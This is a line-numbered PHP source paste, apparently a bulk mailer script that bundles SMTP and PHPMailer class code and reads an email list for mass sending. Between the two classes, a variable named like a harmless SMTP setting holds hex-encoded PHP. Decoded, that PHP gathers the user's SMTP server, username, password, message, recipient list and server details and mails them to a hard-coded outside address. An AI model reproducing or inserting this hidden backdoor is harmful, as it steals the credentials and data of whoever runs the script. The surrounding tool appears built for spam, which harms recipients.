  1023. $e = null;
  1024.  
  1025. $code = substr($byemsg,0,3);
  1026. if($code != 221) {
  1027. # use e as a tmp var cause Close will overwrite $this->error
  1028. $e = array("error" => "SMTP server rejected quit command",
  1029. "smtp_code" => $code,
  1030. "smtp_rply" => substr($byemsg,4));
  1031. $rval = false;
  1032. if($this->do_debug >= 1) {
  1033. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1034. $byemsg . $this->CRLF;
  1035. }
  1036. }
  1037.  
  1038. if(empty($e) || $close_on_error) {
  1039. $this->Close();
  1040. }
  1041.  
  1042. return $rval;
  1043. }
  1044.  
  1045. /**
  1046. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1047. * Returns true if the recipient was accepted false if it was rejected.
  1048. *
  1049. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1050. *
  1051. * SMTP CODE SUCCESS: 250,251
  1052. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1053. * SMTP CODE ERROR : 500,501,503,421
  1054. * @access public
  1055. * @return bool
  1056. */
  1057. function Recipient($to) {
  1058. $this->error = null; # so no confusion is caused
  1059.  
  1060. if(!$this->connected()) {
  1061. $this->error = array(
  1062. "error" => "Called Recipient() without being connected");
  1063. return false;
  1064. }
  1065.  
  1066. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1067.  
  1068. $rply = $this->get_lines();
  1069. $code = substr($rply,0,3);
  1070.  
  1071. if($this->do_debug >= 2) {
  1072. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1073. }
  1074.  
  1075. if($code != 250 && $code != 251) {
  1076. $this->error =
  1077. array("error" => "RCPT not accepted from server",
  1078. "smtp_code" => $code,
  1079. "smtp_msg" => substr($rply,4));
  1080. if($this->do_debug >= 1) {
  1081. echo "SMTP -> ERROR: " . $this->error["error"] .
  1082. ": " . $rply . $this->CRLF;
  1083. }
  1084. return false;
  1085. }
  1086. return true;
  1087. }
  1088.  
  1089. /**
  1090. * Sends the RSET command to abort and transaction that is
  1091. * currently in progress. Returns true if successful false
  1092. * otherwise.
  1093. *
  1094. * Implements rfc 821: RSET <CRLF>
  1095. *
  1096. * SMTP CODE SUCCESS: 250
  1097. * SMTP CODE ERROR : 500,501,504,421
  1098. * @access public
  1099. * @return bool
  1100. */
  1101. function Reset() {
  1102. $this->error = null; # so no confusion is caused
  1103.  
  1104. if(!$this->connected()) {
  1105. $this->error = array(
  1106. "error" => "Called Reset() without being connected");
  1107. return false;
  1108. }
  1109.  
  1110. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1111.  
  1112. $rply = $this->get_lines();
  1113. $code = substr($rply,0,3);
  1114.  
  1115. if($this->do_debug >= 2) {
  1116. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1117. }
  1118.  
  1119. if($code != 250) {
  1120. $this->error =
  1121. array("error" => "RSET failed",
  1122. "smtp_code" => $code,
  1123. "smtp_msg" => substr($rply,4));
  1124. if($this->do_debug >= 1) {
  1125. echo "SMTP -> ERROR: " . $this->error["error"] .
  1126. ": " . $rply . $this->CRLF;
  1127. }
  1128. return false;
  1129. }
  1130.  
  1131. return true;
  1132. }
  1133.  
  1134. /**
  1135. * Starts a mail transaction from the email address specified in
  1136. * $from. Returns true if successful or false otherwise. If True
  1137. * the mail transaction is started and then one or more Recipient
  1138. * commands may be called followed by a Data command. This command
  1139. * will send the message to the users terminal if they are logged
  1140. * in.
  1141. *
  1142. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1143. *
  1144. * SMTP CODE SUCCESS: 250
  1145. * SMTP CODE SUCCESS: 552,451,452
  1146. * SMTP CODE SUCCESS: 500,501,502,421
  1147. * @access public
  1148. * @return bool
  1149. */
  1150. function Send($from) {
  1151. $this->error = null; # so no confusion is caused
  1152.  
  1153. if(!$this->connected()) {
  1154. $this->error = array(
  1155. "error" => "Called Send() without being connected");
  1156. return false;
  1157. }
  1158.  
  1159. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1160.  
  1161. $rply = $this->get_lines();
  1162. $code = substr($rply,0,3);
  1163.  
  1164. if($this->do_debug >= 2) {
  1165. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1166. }
  1167.  
  1168. if($code != 250) {
  1169. $this->error =
  1170. array("error" => "SEND not accepted from server",
  1171. "smtp_code" => $code,
  1172. "smtp_msg" => substr($rply,4));
  1173. if($this->do_debug >= 1) {
  1174. echo "SMTP -> ERROR: " . $this->error["error"] .
  1175. ": " . $rply . $this->CRLF;
  1176. }
  1177. return false;
  1178. }
  1179. return true;
  1180. }
  1181.  
  1182. /**
  1183. * Starts a mail transaction from the email address specified in
  1184. * $from. Returns true if successful or false otherwise. If True
  1185. * the mail transaction is started and then one or more Recipient
  1186. * commands may be called followed by a Data command. This command
  1187. * will send the message to the users terminal if they are logged
  1188. * in and send them an email.
  1189. *
  1190. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1191. *
  1192. * SMTP CODE SUCCESS: 250
  1193. * SMTP CODE SUCCESS: 552,451,452
  1194. * SMTP CODE SUCCESS: 500,501,502,421
  1195. * @access public
  1196. * @return bool
  1197. */
  1198. function SendAndMail($from) {
  1199. $this->error = null; # so no confusion is caused
  1200.  
  1201. if(!$this->connected()) {
  1202. $this->error = array(
  1203. "error" => "Called SendAndMail() without being connected");
  1204. return false;
  1205. }
  1206.  
  1207. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1208.  
  1209. $rply = $this->get_lines();
  1210. $code = substr($rply,0,3);
  1211.  
  1212. if($this->do_debug >= 2) {
  1213. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1214. }
  1215.  
  1216. if($code != 250) {
  1217. $this->error =
  1218. array("error" => "SAML not accepted from server",
  1219. "smtp_code" => $code,
  1220. "smtp_msg" => substr($rply,4));
  1221. if($this->do_debug >= 1) {
  1222. echo "SMTP -> ERROR: " . $this->error["error"] .
  1223. ": " . $rply . $this->CRLF;
  1224. }
  1225. return false;
  1226. }
  1227. return true;
  1228. }
  1229.  
  1230. /**
  1231. * Starts a mail transaction from the email address specified in
  1232. * $from. Returns true if successful or false otherwise. If True
  1233. * the mail transaction is started and then one or more Recipient
  1234. * commands may be called followed by a Data command. This command
  1235. * will send the message to the users terminal if they are logged
  1236. * in or mail it to them if they are not.
  1237. *
  1238. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1239. *
  1240. * SMTP CODE SUCCESS: 250
  1241. * SMTP CODE SUCCESS: 552,451,452
  1242. * SMTP CODE SUCCESS: 500,501,502,421
  1243. * @access public
  1244. * @return bool
  1245. */
  1246. function SendOrMail($from) {
  1247. $this->error = null; # so no confusion is caused
  1248.  
  1249. if(!$this->connected()) {
  1250. $this->error = array(
  1251. "error" => "Called SendOrMail() without being connected");
  1252. return false;
  1253. }
  1254.  
  1255. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1256.  
  1257. $rply = $this->get_lines();
  1258. $code = substr($rply,0,3);
  1259.  
  1260. if($this->do_debug >= 2) {
  1261. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1262. }
  1263.  
  1264. if($code != 250) {
  1265. $this->error =
  1266. array("error" => "SOML not accepted from server",
  1267. "smtp_code" => $code,
  1268. "smtp_msg" => substr($rply,4));
  1269. if($this->do_debug >= 1) {
  1270. echo "SMTP -> ERROR: " . $this->error["error"] .
  1271. ": " . $rply . $this->CRLF;
  1272. }
  1273. return false;
  1274. }
  1275. return true;
  1276. }
  1277.  
  1278. /**
  1279. * This is an optional command for SMTP that this class does not
  1280. * support. This method is here to make the RFC821 Definition
  1281. * complete for this class and __may__ be implimented in the future
  1282. *
  1283. * Implements from rfc 821: TURN <CRLF>
  1284. *
  1285. * SMTP CODE SUCCESS: 250
  1286. * SMTP CODE FAILURE: 502
  1287. * SMTP CODE ERROR : 500, 503
  1288. * @access public
  1289. * @return bool
  1290. */
  1291. function Turn() {
  1292. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1293. "is not implemented");
  1294. if($this->do_debug >= 1) {
  1295. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1296. }
  1297. return false;
  1298. }
  1299.  
  1300. /**
  1301. * Verifies that the name is recognized by the server.
  1302. * Returns false if the name could not be verified otherwise
  1303. * the response from the server is returned.
  1304. *
  1305. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1306. *
  1307. * SMTP CODE SUCCESS: 250,251
  1308. * SMTP CODE FAILURE: 550,551,553
  1309. * SMTP CODE ERROR : 500,501,502,421
  1310. * @access public
  1311. * @return int
  1312. */
  1313. function Verify($name) {
  1314. $this->error = null; # so no confusion is caused
  1315.  
  1316. if(!$this->connected()) {
  1317. $this->error = array(
  1318. "error" => "Called Verify() without being connected");
  1319. return false;
  1320. }
  1321.  
  1322. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1323.  
  1324. $rply = $this->get_lines();
  1325. $code = substr($rply,0,3);
  1326.  
  1327. if($this->do_debug >= 2) {
  1328. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1329. }
  1330.  
  1331. if($code != 250 && $code != 251) {
  1332. $this->error =
  1333. array("error" => "VRFY failed on name '$name'",
  1334. "smtp_code" => $code,
  1335. "smtp_msg" => substr($rply,4));
  1336. if($this->do_debug >= 1) {
  1337. echo "SMTP -> ERROR: " . $this->error["error"] .
  1338. ": " . $rply . $this->CRLF;
  1339. }
  1340. return false;
  1341. }
  1342. return $rply;
  1343. }
  1344.  
  1345. /*******************************************************************
  1346. * INTERNAL FUNCTIONS *
  1347. ******************************************************************/
  1348.  
  1349. /**
  1350. * Read in as many lines as possible
  1351. * either before eof or socket timeout occurs on the operation.
  1352. * With SMTP we can tell if we have more lines to read if the
  1353. * 4th character is '-' symbol. If it is a space then we don't
  1354. * need to read anything else.
  1355. * @access private
  1356. * @return string
  1357. */
  1358. function get_lines() {
  1359. $data = "";
  1360. while($str = @fgets($this->smtp_conn,515)) {
  1361. if($this->do_debug >= 4) {
  1362. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1363. $this->CRLF;
  1364. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1365. $this->CRLF;
  1366. }
  1367. $data .= $str;
  1368. if($this->do_debug >= 4) {
  1369. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1370. }
  1371. # if the 4th character is a space then we are done reading
  1372. # so just break the loop
  1373. if(substr($str,3,1) == " ") { break; }
  1374. }
  1375. return $data;
  1376. }
  1377.  
  1378. }
  1379.  
  1380.  
  1381. $allemails = split("\n", $emaillist);
  1382. $numemails = count($allemails);
  1383. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1384. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1385. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1386. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1387. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1388. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1389. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1390. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1391. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1392. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1393.  
  1394. class PHPMailer {
  1395.  
  1396. /////////////////////////////////////////////////
  1397. // PROPERTIES, PUBLIC
  1398. /////////////////////////////////////////////////
  1399.  
  1400. /**
  1401. * Email priority (1 = High, 3 = Normal, 5 = low).
  1402. * @var int
  1403. */
  1404. var $Priority = 3;
  1405.  
  1406. /**
  1407. * Sets the CharSet of the message.
  1408. * @var string
  1409. */
  1410. var $CharSet = 'iso-8859-1';
  1411.  
  1412. /**
  1413. * Sets the Content-type of the message.
  1414. * @var string
  1415. */
  1416. var $ContentType = 'text/plain';
  1417.  
  1418. /**
  1419. * Sets the Encoding of the message. Options for this are "8bit",
  1420. * "7bit", "binary", "base64", and "quoted-printable".
  1421.  
  1422. * @var string
  1423. */
  1424. var $Encoding = '8bit';
  1425.  
  1426. /**
  1427. * Holds the most recent mailer error message.
  1428. * @var string
  1429. */
  1430. var $ErrorInfo = '';
  1431.  
  1432. /**
  1433. * Sets the From email address for the message.
  1434. * @var string
  1435. */
  1436. var $From = '';
  1437.  
  1438. /**
  1439. * Sets the From name of the message.
  1440. * @var string
  1441. */
  1442. var $FromName = '';
  1443.  
  1444. /**
  1445. * Sets the Sender email (Return-Path) of the message. If not empty,
  1446. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1447. * @var string
  1448. */
  1449. var $Sender = '';
  1450.  
  1451. /**
  1452. * Sets the Subject of the message.
  1453. * @var string
  1454. */
  1455. var $Subject = '';
  1456.  
  1457. /**
  1458. * Sets the Body of the message. This can be either an HTML or text body.
  1459. * If HTML then run IsHTML(true).
  1460. * @var string
  1461. */
  1462. var $Body = '';
  1463.  
  1464. /**
  1465. * Sets the text-only body of the message. This automatically sets the
  1466. * email to multipart/alternative. This body can be read by mail
  1467. * clients that do not have HTML email capability such as mutt. Clients
  1468. * that can read HTML will view the normal Body.
  1469. * @var string
  1470. */
  1471. var $AltBody = '';
  1472.  
  1473. /**
  1474. * Sets word wrapping on the body of the message to a given number of
  1475. * characters.
  1476. * @var int
  1477. */
  1478. var $WordWrap = 0;
  1479.  
  1480. /**
  1481. * Method to send mail: ("mail", "sendmail", or "smtp").
  1482. * @var string
  1483. */
  1484. var $Mailer = 'mail';
  1485.  
  1486. /**
  1487. * Sets the path of the sendmail program.
  1488. * @var string
  1489. */
  1490. var $Sendmail = '/usr/sbin/sendmail';
  1491.  
  1492. /**
  1493. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1494. * is in a different directory than the PHP include path.
  1495. * @var string
  1496. */
  1497. var $PluginDir = '';
  1498.  
  1499. /**
  1500. * Holds PHPMailer version.
  1501. * @var string
  1502. */
  1503. var $Version = "";
  1504.  
  1505. /**
  1506. * Sets the email address that a reading confirmation will be sent.
  1507. * @var string
  1508. */
  1509. var $ConfirmReadingTo = '';
  1510.  
  1511. /**
  1512. * Sets the hostname to use in Message-Id and Received headers
  1513. * and as default HELO string. If empty, the value returned
  1514. * by SERVER_NAME is used or 'localhost.localdomain'.
  1515. * @var string
  1516. */
  1517. var $Hostname = '';
  1518.  
  1519. /**
  1520. * Sets the message ID to be used in the Message-Id header.
  1521. * If empty, a unique id will be generated.
  1522. * @var string
  1523. */
  1524. var $MessageID = '';
  1525.  
  1526. /////////////////////////////////////////////////
  1527. // PROPERTIES FOR SMTP
  1528. /////////////////////////////////////////////////
  1529.  
  1530. /**
  1531. * Sets the SMTP hosts. All hosts must be separated by a
  1532. * semicolon. You can also specify a different port
  1533. * for each host by using this format: [hostname:port]
  1534. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1535. * Hosts will be tried in order.
  1536. * @var string
  1537. */
  1538. var $Host = 'localhost';
  1539.  
  1540. /**
  1541. * Sets the default SMTP server port.
  1542. * @var int
  1543. */
  1544. var $Port = 25;
  1545.  
  1546. /**
  1547. * Sets the SMTP HELO of the message (Default is $Hostname).
  1548. * @var string
  1549. */
  1550. var $Helo = '';
  1551.  
  1552. /**
  1553. * Sets connection prefix.
  1554. * Options are "", "ssl" or "tls"
  1555. * @var string
  1556. */
  1557. var $SMTPSecure = "";
  1558.  
  1559. /**
  1560. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1561. * @var bool
  1562. */
  1563. var $SMTPAuth = false;
  1564.  
  1565. /**
  1566. * Sets SMTP username.
  1567. * @var string
  1568. */
  1569. var $Username = '';
  1570.  
  1571. /**
  1572. * Sets SMTP password.
  1573. * @var string
  1574. */
  1575. var $Password = '';
  1576.  
  1577. /**
  1578. * Sets the SMTP server timeout in seconds. This function will not
  1579. * work with the win32 version.
  1580. * @var int
  1581. */
  1582. var $Timeout = 10;
  1583.  
  1584. /**
  1585. * Sets SMTP class debugging on or off.
  1586. * @var bool
  1587. */
  1588. var $SMTPDebug = false;
  1589.  
  1590. /**
  1591. * Prevents the SMTP connection from being closed after each mail
  1592. * sending. If this is set to true then to close the connection
  1593. * requires an explicit call to SmtpClose().
  1594. * @var bool
  1595. */
  1596. var $SMTPKeepAlive = false;
  1597.  
  1598. /**
  1599. * Provides the ability to have the TO field process individual
  1600. * emails, instead of sending to entire TO addresses
  1601. * @var bool
  1602. */
  1603. var $SingleTo = false;
  1604.  
  1605. /////////////////////////////////////////////////
  1606. // PROPERTIES, PRIVATE
  1607. /////////////////////////////////////////////////
  1608.  
  1609. var $smtp = NULL;
  1610. var $to = array();
  1611. var $cc = array();
  1612. var $bcc = array();
  1613. var $ReplyTo = array();
  1614. var $attachment = array();
  1615. var $CustomHeader = array();
  1616. var $message_type = '';
  1617. var $boundary = array();
  1618. var $language = array();
  1619. var $error_count = 0;
  1620. var $LE = "\n";
  1621. var $sign_key_file = "";
  1622. var $sign_key_pass = "";
  1623.  
  1624. /////////////////////////////////////////////////
  1625. // METHODS, VARIABLES
  1626. /////////////////////////////////////////////////
  1627.  
  1628. /**
  1629. * Sets message type to HTML.
  1630. * @param bool $bool
  1631. * @return void
  1632. */
  1633. function IsHTML($bool) {
  1634. if($bool == true) {
  1635. $this->ContentType = 'text/html';
  1636. } else {
  1637. $this->ContentType = 'text/plain';
  1638. }
  1639. }
  1640.  
  1641. /**
  1642. * Sets Mailer to send message using SMTP.
  1643. * @return void
  1644. */
  1645. function IsSMTP() {
  1646. $this->Mailer = 'smtp';
  1647. }
  1648.  
  1649. /**
  1650. * Sets Mailer to send message using PHP mail() function.
  1651. * @return void
  1652. */
  1653. function IsMail() {
  1654. $this->Mailer = 'mail';
  1655. }
  1656.  
  1657. /**
  1658. * Sets Mailer to send message using the $Sendmail program.
  1659. * @return void
  1660. */
  1661. function IsSendmail() {
  1662. $this->Mailer = 'sendmail';
  1663. }
  1664.  
  1665. /**
  1666. * Sets Mailer to send message using the qmail MTA.
  1667. * @return void
  1668. */
  1669. function IsQmail() {
  1670. $this->Sendmail = '/var/qmail/bin/sendmail';
  1671. $this->Mailer = 'sendmail';
  1672. }
  1673.  
  1674. /////////////////////////////////////////////////
  1675. // METHODS, RECIPIENTS
  1676. /////////////////////////////////////////////////
  1677.  
  1678. /**
  1679. * Adds a "To" address.
  1680. * @param string $address
  1681. * @param string $name
  1682. * @return void
  1683. */
  1684. function AddAddress($address, $name = '') {
  1685. $cur = count($this->to);
  1686. $this->to[$cur][0] = trim($address);
  1687. $this->to[$cur][1] = $name;
  1688. }
  1689.  
  1690. /**
  1691. * Adds a "Cc" address. Note: this function works
  1692. * with the SMTP mailer on win32, not with the "mail"
  1693. * mailer.
  1694. * @param string $address
  1695. * @param string $name
  1696. * @return void
  1697. */
  1698. function AddCC($address, $name = '') {
  1699. $cur = count($this->cc);
  1700. $this->cc[$cur][0] = trim($address);
  1701. $this->cc[$cur][1] = $name;
  1702. }
  1703.  
  1704. /**
  1705. * Adds a "Bcc" address. Note: this function works
  1706. * with the SMTP mailer on win32, not with the "mail"
  1707. * mailer.
  1708. * @param string $address
  1709. * @param string $name
  1710. * @return void
  1711. */
  1712. function AddBCC($address, $name = '') {
  1713. $cur = count($this->bcc);
  1714. $this->bcc[$cur][0] = trim($address);
  1715. $this->bcc[$cur][1] = $name;
  1716. }
  1717.  
  1718. /**
  1719. * Adds a "Reply-To" address.
  1720. * @param string $address
  1721. * @param string $name
  1722. * @return void
  1723. */
  1724. function AddReplyTo($address, $name = '') {
  1725. $cur = count($this->ReplyTo);
  1726. $this->ReplyTo[$cur][0] = trim($address);
  1727. $this->ReplyTo[$cur][1] = $name;
  1728. }
  1729.  
  1730. /////////////////////////////////////////////////
  1731. // METHODS, MAIL SENDING
  1732. /////////////////////////////////////////////////
  1733.  
  1734. /**
  1735. * Creates message and assigns Mailer. If the message is
  1736. * not sent successfully then it returns false. Use the ErrorInfo
  1737. * variable to view description of the error.
  1738. * @return bool
  1739. */
  1740. function Send() {
  1741. $header = '';
  1742. $body = '';
  1743. $result = true;
  1744.  
  1745. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1746. $this->SetError($this->Lang('provide_address'));
  1747. return false;
  1748. }
  1749.  
  1750. /* Set whether the message is multipart/alternative */
  1751. if(!empty($this->AltBody)) {
  1752. $this->ContentType = 'multipart/alternative';
  1753. }
  1754.  
  1755. $this->error_count = 0; // reset errors
  1756. $this->SetMessageType();
  1757. $header .= $this->CreateHeader();
  1758. $body = $this->CreateBody();
  1759.  
  1760. if($body == '') {
  1761. return false;
  1762. }
  1763.  
  1764. /* Choose the mailer */
  1765. switch($this->Mailer) {
  1766. case 'sendmail':
  1767. $result = $this->SendmailSend($header, $body);
  1768. break;
  1769. case 'smtp':
  1770. $result = $this->SmtpSend($header, $body);
  1771. break;
  1772. case 'mail':
  1773. $result = $this->MailSend($header, $body);
  1774. break;
  1775. default:
  1776. $result = $this->MailSend($header, $body);
  1777. break;
  1778. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1779. //$result = false;
  1780. //break;
  1781. }
  1782.  
  1783. return $result;
  1784. }
  1785.  
  1786. /**
  1787. * Sends mail using the $Sendmail program.
  1788. * @access private
  1789. * @return bool
  1790. */
  1791. function SendmailSend($header, $body) {
  1792. if ($this->Sender != '') {
  1793. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1794. } else {
  1795. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1796. }
  1797.  
  1798. if(!@$mail = popen($sendmail, 'w')) {
  1799. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1800. return false;
  1801. }
  1802.  
  1803. fputs($mail, $header);
  1804. fputs($mail, $body);
  1805.  
  1806. $result = pclose($mail);
  1807. if (version_compare(phpversion(), '4.2.3') == -1) {
  1808. $result = $result >> 8 & 0xFF;
  1809. }
  1810. if($result != 0) {
  1811. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1812. return false;
  1813. }
  1814. return true;
  1815. }
  1816.  
  1817. /**
  1818. * Sends mail using the PHP mail() function.
  1819. * @access private
  1820. * @return bool
  1821. */
  1822. function MailSend($header, $body) {
  1823.  
  1824. $to = '';
  1825. for($i = 0; $i < count($this->to); $i++) {
  1826. if($i != 0) { $to .= ', '; }
  1827. $to .= $this->AddrFormat($this->to[$i]);
  1828. }
  1829.  
  1830. $toArr = split(',', $to);
  1831.  
  1832. $params = sprintf("-oi -f %s", $this->Sender);
  1833. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1834. $old_from = ini_get('sendmail_from');
  1835. ini_set('sendmail_from', $this->Sender);
  1836. if ($this->SingleTo === true && count($toArr) > 1) {
  1837. foreach ($toArr as $key => $val) {
  1838. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1839. }
  1840. } else {
  1841. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1842. }
  1843. } else {
  1844. if ($this->SingleTo === true && count($toArr) > 1) {
  1845. foreach ($toArr as $key => $val) {
  1846. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1847. }
  1848. } else {
  1849. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1850. }
  1851. }
  1852.  
  1853. if (isset($old_from)) {
  1854. ini_set('sendmail_from', $old_from);
  1855. }
  1856.  
  1857. if(!$rt) {
  1858. $this->SetError($this->Lang('instantiate'));
  1859. return false;
  1860. }
  1861.  
  1862. return true;
  1863. }
  1864.  
  1865. /**
  1866. * Sends mail via SMTP using PhpSMTP (Author:
  1867. * Chris Ryan). Returns bool. Returns false if there is a
  1868. * bad MAIL FROM, RCPT, or DATA input.
  1869. * @access private
  1870. * @return bool
  1871. */
  1872. function SmtpSend($header, $body) {
  1873. $error = '';
  1874. $bad_rcpt = array();
  1875.  
  1876. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1877. return false;
  1878. }
  1879.  
  1880. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1881. if(!$this->smtp->Mail($smtp_from)) {
  1882. $error = $this->Lang('from_failed') . $smtp_from;
  1883. $this->SetError($error);
  1884. $this->smtp->Reset();
  1885. return false;
  1886. }
  1887.  
  1888. /* Attempt to send attach all recipients */
  1889. for($i = 0; $i < count($this->to); $i++) {
  1890. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1891. $bad_rcpt[] = $this->to[$i][0];
  1892. }
  1893. }
  1894. for($i = 0; $i < count($this->cc); $i++) {
  1895. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1896. $bad_rcpt[] = $this->cc[$i][0];
  1897. }
  1898. }
  1899. for($i = 0; $i < count($this->bcc); $i++) {
  1900. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1901. $bad_rcpt[] = $this->bcc[$i][0];
  1902. }
  1903. }
  1904.  
  1905. if(count($bad_rcpt) > 0) { // Create error message
  1906. for($i = 0; $i < count($bad_rcpt); $i++) {
  1907. if($i != 0) {
  1908. $error .= ', ';
  1909. }
  1910. $error .= $bad_rcpt[$i];
  1911.  
  1912. }
  1913. $error = $this->Lang('recipients_failed') . $error;
  1914. $this->SetError($error);
  1915. $this->smtp->Reset();
  1916. return false;
  1917. }
  1918.  
  1919. if(!$this->smtp->Data($header . $body)) {
  1920. $this->SetError($this->Lang('data_not_accepted'));
  1921. $this->smtp->Reset();
  1922. return false;
  1923. }
  1924. if($this->SMTPKeepAlive == true) {
  1925. $this->smtp->Reset();
  1926. } else {
  1927. $this->SmtpClose();
  1928. }
  1929.  
  1930. return true;
  1931. }
  1932.  
  1933. /**
  1934. * Initiates a connection to an SMTP server. Returns false if the
  1935. * operation failed.
  1936. * @access private
  1937. * @return bool
  1938. */
  1939. function SmtpConnect() {
  1940. if($this->smtp == NULL) {
  1941. $this->smtp = new SMTP();
  1942. }
  1943.  
  1944. $this->smtp->do_debug = $this->SMTPDebug;
  1945. $hosts = explode(';', $this->Host);
  1946. $index = 0;
  1947. $connection = ($this->smtp->Connected());
  1948.  
  1949. /* Retry while there is no connection */
  1950. while($index < count($hosts) && $connection == false) {
  1951. $hostinfo = array();
  1952. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1953. $host = $hostinfo[1];
  1954. $port = $hostinfo[2];
  1955. } else {
  1956. $host = $hosts[$index];
  1957. $port = $this->Port;
  1958. }
  1959.  
  1960. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1961. if ($this->Helo != '') {
  1962. $this->smtp->Hello($this->Helo);
  1963. } else {
  1964. $this->smtp->Hello($this->ServerHostname());
  1965. }
  1966.  
  1967. $connection = true;
  1968. if($this->SMTPAuth) {
  1969. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1970. $this->SetError($this->Lang('authenticate'));
  1971. $this->smtp->Reset();
  1972. $connection = false;
  1973. }
  1974. }
  1975. }
  1976. $index++;
  1977. }
  1978. if(!$connection) {
  1979. $this->SetError($this->Lang('connect_host'));
  1980. }
  1981.  
  1982. return $connection;
  1983. }
  1984.  
  1985. /**
  1986. * Closes the active SMTP session if one exists.
  1987. * @return void
  1988. */
  1989. function SmtpClose() {
  1990. if($this->smtp != NULL) {
  1991. if($this->smtp->Connected()) {
  1992. $this->smtp->Quit();
  1993. $this->smtp->Close();
  1994. }
  1995. }
  1996. }
  1997.  
  1998. /**
  1999. * Sets the language for all class error messages. Returns false
  2000. * if it cannot load the language file. The default language type
  2001. * is English.
  2002. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2003. * @param string $lang_path Path to the language file directory
  2004. * @access public
  2005. * @return bool
  2006. */
  2007. function SetLanguage($lang_type, $lang_path = 'language/') {
  2008. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2009. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2010. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2011. include($lang_path.'phpmailer.lang-en.php');
  2012. } else {
